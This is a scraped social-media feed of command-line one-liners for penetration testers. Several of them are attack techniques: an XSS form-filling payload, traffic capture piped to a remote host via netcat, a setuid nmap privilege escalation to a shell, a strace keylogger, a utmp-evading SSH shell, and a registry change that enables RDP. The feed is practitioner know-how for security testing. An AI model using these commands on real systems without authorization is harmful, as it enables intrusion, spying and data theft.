Pentest CLI Fu (@pentestcli) profile picture

Command-Line Fu for Penetration Testers. One-liners that might save you some time breaking people's stuff. Suggestions to @pentestcli or @marcwickenden

Terminal
Joined November 2012
console> for (i=0;i<document.forms[0].elements.length;i++) { document.forms[0].elements[i].value='<script>alert('+i+')</script>'; } #testxss
8
17
Replying to @pentestcli
@pentestcli nc -lvp 9999 | tcpdump -XX -vvv -r - # Pass traffic FROM a raw tcp socket back into tcpdump for rendering/parsing
3
6
Replying to @pentestcli
@pentestcli tcpdump -w - | nc -v 8.8.8.8 9999 # sniff traffic with tcpdump and write raw capture data to a remote tcp socket
6
7
Replying to @pentestcli
@pentestcli wget example.com/file.txt -O - # Use wget to write to stdout instead of a file if CURL isn't available
Replying to @pentestcli
@pentestcli grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' # Basic regex for pulling IP addresses from a file or stdout
4
5
Pentest CLI Fu retweeted
Replying to @zyx2k
@zyx2k @pentestcli ps aux | grep [p]rocessname | sed s/’whoami’[^0-9]*// | cut -d “ “ -f 1 :)
1
1
Use irb to update a host in #msfconsole: `framework.db.report_host(:host=>"X.X.X.X",:info=>"Cool")` cc: @pentestcli @metasploit
1
2
Replying to @hdmoore
RT @hdmoore GNU sort can order input by IPv4 address using -V or --version-sort < This is awesome! CC @climagic @pentestcli
1
4
Replying to @pentestcli
@pentestcli ssh [email protected] "cat file.tar.gz" > file.tar.gz # transfer files through ssh when sftp is disabled
8
9
Pentest CLI Fu retweeted
Replying to @pentestcli
@pentestcli python -m "SimpleHTTPServer"
1
1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444 # internal port redirect to bypass services (cc. @pentestcli)
8
9
Quick test for SSL/TLS Renegotiation DoS - openssl s_client -connect ip:port | echo -e "HEAD / HTTP/1.0\r\nR" @pentestcli
4
5
Replying to @pentestcli
@pentestcli more fully-featured version of same: ssh -t target screen -ln
4
6
ssh target bash -i # Avoid showing up in target's utmp (w, who commands) @pentestcli
6
4
Replying to @TheAndrewBalls
@TheAndrewBalls @pentestcli awk '/ 1434\/open/{print $2}' # grep + cut = awk partmaps.org/era/unix/award.…
1
2
1
strace -p $PID -f -eread -o '| perl -ne'\''BEGIN{$|=1}my($i)=/\(0,"([^"]*)"/;print$i'\' # running proc keylogger @pentestcli
4
6
nmap --script <(echo 'os.execute("/bin/sh")') # setuid nmap privesc. Older version? try nmap --interactive @pentestcli
7
9
Replying to @pentestcli
@pentestcli set RHOSTS file://tmp/hosts.lst # tell Metasploit auxiliary modules to interpret a plaintext list of IPs for RHOSTS parameter
10
9
Replying to @pentestcli
@pentestcli Windows ARP scan (see results with arp -a): for /L %i in (1,1,255) do @start /b ping -n 1 -w 1 192.168.1.%i
4
3
Replying to @pentestcli
@pentestcli reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # enable rdp with CLI
2
4